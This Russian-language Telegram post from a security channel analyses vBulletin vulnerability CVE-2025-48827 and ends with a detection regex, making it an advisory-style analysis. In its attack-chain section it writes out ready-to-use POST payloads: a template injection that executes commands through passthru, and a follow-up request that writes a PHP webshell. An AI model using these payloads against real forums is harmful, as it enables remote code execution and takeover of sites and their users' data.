TGViewer
Четыре луча Четыре луча @four_rays · 4.02K subscribers
Post #93 5.19K
Десятибалльная уязвимость в vBulletin CVE-2025-48827 👾

Уязвимость CVE-2025-48827 позволяет неаутентифицированным пользователям вызывать защищенные методы API, что может привести к удаленному выполнению кода (RCE).

❗️Она затрагивает vBulletin с 5.0.0 по 5.7.5 и с 6.0.0 по 6.0.3 версий, которые работают на PHP 8.1 и выше.

vBulletin — это коммерческая платформа для создания форумов и сообществ на сайтах. Она работает на языке PHP и использует базы данных MySQL.


Метрики

Base core: 10
CWE: CWE-424


Детали уязвимости

Основная критическая проблема — изменение поведения Reflection API в PHP 8.1.

Традиционно класс ReflectionMethod в PHP требовал явного разрешения — через setAccessible(true) вызов защищенных или закрытых методов. Но начиная с PHP 8.1 это ограничение смягчено: ReflectionMethod::invoke(). Теперь по умолчанию можно вызывать защищенные и закрытые методы.

API vBulletin предоставляет конечные точки в формате:
/ajax/api/[controller]/[method]


Они реализуют маршрутизацию запросов к методам контроллеров с помощью Reflection API. Контроль доступа осуществляется на уровне метода, а не глобально.

❗️Конечные точки могут передаваться как в URI, так и параметре routestring POST-запроса.

Цепочка атаки на метод replaceAdTemplate

Метод replaceAdTemplate в vBulletin является частью API-контроллера vB_Api_Ad и предназначен для создания или обновления рекламных шаблонов.

1️⃣ Загрузка вредоносного шаблона
Злоумышленник отправляет POST-запрос с вредоносным шаблоном, например:
routestring=ajax/api/ad/replaceAdTemplate&styleid=1&location=omgItIsShell&template=<vb:if condition='"passthru"($_POST["cmd"])'> </vb:if>

"passthru" — это строка, интерпретируемая PHP как имя функции.
"passthru"($_POST["cmd"]) — фактически выполняет команду, полученную в $_POST["cmd"].
• Функция passthru() выводит результат команды напрямую в HTML.
• Так как условие находится внутри <vb:if>, вызов функции происходит при отображении шаблона, независимо от возвращаемого значения (null в случае passthru).

2️⃣ Отправка shell-кода
После того как вредоносный шаблон загружен и активен, злоумышленник отправляет новый POST-запрос к другому API , который вызывает созданный шаблон:
routestring=ajax/render/ad_omgItIsShell&styleid=10000&location=rce6&cmd=echo '<?php if(isset($_GET["cmd"])){echo "<pre>"; system($_GET["cmd"]); echo "</pre>";} ?>' > shell9.php

Шаблон, загруженный на первом этапе, должен быть активен и применим на странице, обрабатываемой ajax/render/**

Как защищаться

Если со вторым этапом все более-менее понятно — это просто Shell, который могут обнаружить многие WAF без особых трудностей, — то первый может создать проблемы.

Мы точно знаем, что атака происходит с использованием шаблона <vb:if> *** <\vb:if>.

Так же мы знаем, что в шаблоне должен находиться параметр condition.

Предлагаемое регулярное выражение:
<vb:if\s+condition\s*=\s*["'].*?(passthru|system|shell_exec|eval|assert).*?(\$_(GET|POST|REQUEST))\s*\[["'].*?["']\].*?["']
  • 🔥 12
  • ❤ 5
  • 👍 5
  • 🎃 1
  • 👾 1
More from @four_rays
  1. Sep 23, 2026💣 Click2Shell Click2Shell — это цепочка уязвимостей в WordPress, которая может привести к…
  2. Sep 14, 2026💣 Ржавый код: почему все переходят на Rust и когда аналитику можно его не реверсить Rust…
  3. Sep 11, 2026😳 DFIR diggin’ deeper: неочевидные источники артефактов при расследовании атак Когда стан…
  4. Sep 7, 2026😀 Call for Papers на технострим SOC Forum 2026 еще открыт! Темы: 1️⃣ Offense: актуальные…
  5. Aug 31, 2026☀️ Zimbra, все еще скрывающая боль Ранее мы уже рассказывали о расследовании «Zimbra, скры…
  6. Aug 19, 2026💡 Разберемся с непопулярными артефактами на OffZone 2026 Выбираете, какие выступления пос…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →